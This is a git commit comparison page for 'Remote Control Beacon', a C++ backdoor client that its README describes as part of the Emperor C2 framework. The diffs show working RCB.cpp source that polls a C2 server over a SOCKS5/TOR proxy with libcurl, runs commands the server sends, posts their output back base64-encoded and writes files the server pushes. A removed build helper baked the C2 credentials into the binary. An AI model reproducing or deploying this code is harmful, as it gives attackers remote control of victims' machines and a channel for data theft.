Compare commits

...

10 Commits

Author SHA1 Message Date
jacobeva 66c0839d54
Added readme 2023-03-08 13:10:37 +00:00
jacobeva c8374f6c05
Remove commented code 2023-03-08 13:10:28 +00:00
jacobeva f08cc6849b
Modified binary destination 2023-03-08 12:55:12 +00:00
jacobeva c0a1c2316f
Removed MakeRCB 2023-03-08 12:47:47 +00:00
jacobeva 86fcada4ea
Removed bin 2023-03-08 12:44:55 +00:00
jacobeva 32816bfde3
Added gitignore 2023-03-08 12:43:26 +00:00
elimin8 4d8a8cd0a4
Added bin directory for binaries 2022-06-13 22:07:19 +01:00
elimin8 120c8ca6d6
Added base64 encoding for data 2022-06-13 22:05:10 +01:00
elimin8 dd09aa8fed
Disabled pause on entry in debug 2022-06-13 22:04:26 +01:00
elimin8 f6c564f653
Added vimspector config 2022-03-04 08:28:30 +00:00
7 changed files with 94 additions and 52 deletions

1
.gitignore vendored Normal file
View File

@ -0,0 +1 @@
bin

19
.vimspector.json Normal file
View File

@ -0,0 +1,19 @@
{
"configurations": {
"Debug RCB": {
"adapter": "vscode-cpptools",
"configuration": {
"type": "cppdbg",
"request": "launch",
"program": "${workspaceRoot}/RCB",
"args": [
],
"cwd": "${workspaceRoot}",
"environment": [
],
"MIMode": "gdb"
}
}
}
}

BIN
MakeRCB

Binary file not shown.

View File

@ -1,27 +0,0 @@
#include <iostream>
#include <string>
int main()
{
std::string sUsername;
std::string sPassword;
std::string sC2Domain;
std::string sProxy;
std::cout << "Enter the username to be used by RCB: ";
std::cin >> sUsername;
std::cout << "Enter the password to be used by RCB: ";
std::cin >> sPassword;
std::cout << "Enter the C2 domain to be used by RCB: ";
std::cin >> sC2Domain;
std::cout << "Enter the socks5 proxy address to be used by RCB: ";
std::cin >> sProxy;
std::string sCommand = "sUsername=" + sUsername + " sPassword=" + sPassword + " sC2Domain=" + "http:/" + sC2Domain + " sProxy=" + "socks5h:/" + sProxy + " make"; // todo: figure out why this works and why // doesn't
const char *cCommand = sCommand.c_str(); // convert string to c string for running as command
system(cCommand); // run the make command with environment variables
}

BIN
RCB

Binary file not shown.

90
RCB.cpp
View File

@ -1,6 +1,7 @@
#include <curl/curl.h>
#include <unistd.h>
#include <array>
#include <fstream>
#include <iostream>
#include <regex>
@ -24,15 +25,61 @@ size_t writeCallback(void *contents, size_t size, size_t nmemb, std::string *s)
return newLength;
}
std::string encodeTriplet(std::uint8_t iByte1, std::uint8_t iByte2, std::uint8_t iByte3)
{
std::array<char, 64> encodeTable{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
std::string sEncodedTriplet = "";
std::uint32_t combinedTriplet = (iByte1 << 16) | (iByte2 << 8) | iByte3;
sEncodedTriplet += encodeTable[combinedTriplet >> 18];
sEncodedTriplet += encodeTable[combinedTriplet >> 12 & 0x3F];
sEncodedTriplet += encodeTable[combinedTriplet >> 6 & 0x3F];
sEncodedTriplet += encodeTable[combinedTriplet & 0x3F];
return sEncodedTriplet;
}
std::string b64Encode(std::string sWriteData)
{
std::string sEncodedData = "";
std::string sEncodedBuffer;
while (sWriteData.length() > 0)
{
if (sWriteData.length() >= 3)
{
sEncodedData += encodeTriplet(sWriteData[0], sWriteData[1], sWriteData[2]);
sWriteData.erase(0, 3);
}
else if (sWriteData.length() == 2)
{
sEncodedBuffer = encodeTriplet(sWriteData[0], sWriteData[1], '0');
sEncodedBuffer.replace(3, 1, "$");
sEncodedData += sEncodedBuffer;
sWriteData.erase();
}
else if (sWriteData.length() == 1)
{
sEncodedBuffer = encodeTriplet(sWriteData[0], '0', '0');
sEncodedBuffer.replace(2, 2, "$$");
sEncodedData += sEncodedBuffer;
sWriteData.erase();
}
}
return sEncodedData;
}
std::string sendData(std::string sParam1, std::string sValue1, std::string sParam2 = "", std::string sValue2 = "")
{
CURL *curl;
CURLcode res;
std::string sReadData;
sValue1 = b64Encode(sValue1);
std::string sWriteData = sParam1 + "=" + sValue1;
if (sParam2 != "")
{
sValue2 = b64Encode(sValue2);
sWriteData = sWriteData + "&" + sParam2 + "=" + sValue2;
}
@ -40,18 +87,18 @@ std::string sendData(std::string sParam1, std::string sValue1, std::string sPara
if (curl)
{
curl_easy_setopt(curl, CURLOPT_PROXY, STR(sProxy)); // set proxy to use
curl_easy_setopt(curl, CURLOPT_URL, STR(sC2Domain)); // c2 domain to connect to
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); // http basic auth
curl_easy_setopt(curl, CURLOPT_POST, 1L); // choose http post method
curl_easy_setopt(curl, CURLOPT_USERNAME, STR(sUsername)); // set username for http auth
curl_easy_setopt(curl, CURLOPT_PASSWORD, STR(sPassword)); // set password for http auth
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // write function for storing response
//char *cWriteData = curl_easy_escape(curl, sWriteData.c_str(), sWriteData.length());
curl_easy_setopt(curl, CURLOPT_PROXY, STR(sProxy)); // set proxy to use
curl_easy_setopt(curl, CURLOPT_URL, STR(sC2Domain)); // c2 domain to connect to
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); // http basic auth
curl_easy_setopt(curl, CURLOPT_POST, 1L); // choose http post method
curl_easy_setopt(curl, CURLOPT_USERNAME, STR(sUsername)); // set username for http auth
curl_easy_setopt(curl, CURLOPT_PASSWORD, STR(sPassword)); // set password for http auth
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // write function for storing response
// char *cWriteData = curl_easy_escape(curl, sWriteData.c_str(), sWriteData.length());
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, sWriteData.length()); // set the post request field size
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sWriteData.c_str());//); // choose the data to send in the post request
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &sReadData); // write the data to the writeCallback function
curl_easy_perform(curl); // run query
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sWriteData.c_str()); //); // choose the data to send in the post request
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &sReadData); // write the data to the writeCallback function
curl_easy_perform(curl); // run query
}
return sReadData;
}
@ -87,7 +134,7 @@ int main()
while (true)
{
sResponse = sendData("msg", "reqcmd");
std::cout << sResponse << std::endl;
std::cout << sResponse << std::endl;
if (std::regex_match(sResponse, rRun)) // if the server has provided us with a command to run
{
@ -113,14 +160,14 @@ int main()
std::string sOutput = exec(sData[1]);
std::cout << sOutput;
sResponse = sendData("result", sOutput); // execute the command, saving the response to sResponse
std::cout << sResponse << std::endl;
std::cout << sResponse << std::endl;
while (true)
{
if (sResponse != sOk) // if server does not respond as expected
{
sResponse = sendData("result", sOutput); // send returned data again
std::cout << sResponse << std::endl;
sResponse = sendData("result", sOutput); // send returned data again
std::cout << sResponse << std::endl;
}
else
{
@ -137,14 +184,7 @@ int main()
std::string sSplit;
for (int i = 0; i < sResponse.length(); i++)
{
/*if (sResponse[i] == '\n' && bFilename == true)
{
sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands
sSplit = ""; // set sSplit to empty
bFilename = false;
}*/
if (sResponse[i] == '=' || sResponse[i] == '&') // if we have reached the end of the parameter
if (sResponse[i] == '=' || sResponse[i] == '&') // if we have reached the end of the parameter
{
sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands
sSplit = ""; // set sSplit to empty
@ -160,11 +200,11 @@ int main()
}
}
fFile.open(sData[1]); // open a file for writing with the filename provided
fFile.open(sData[1]); // open a file for writing with the filename provided
if (fFile)
{
fFile << sData[3]; // write the content of the file
fFile << sData[3]; // write the content of the file
std::cout << sendData("msg", "saved");
}
else

9
README.md Executable file
View File

@ -0,0 +1,9 @@
# Remote Control Beacon
A client side Emperor C2 framework backdoor.
This backdoor can communicate with Emperor itself, and can perform the following functions:
* Connect to the server (via TOR through a configured FOB)
* Request and execute commands
* Upload and download files to and from the server
Most of the communications between the client and server are base64 encoded, but not encrypted. This means that the traffic, before reaching the FOB, is unencrypted. I was considering maybe adding RC4 encryption in the future :)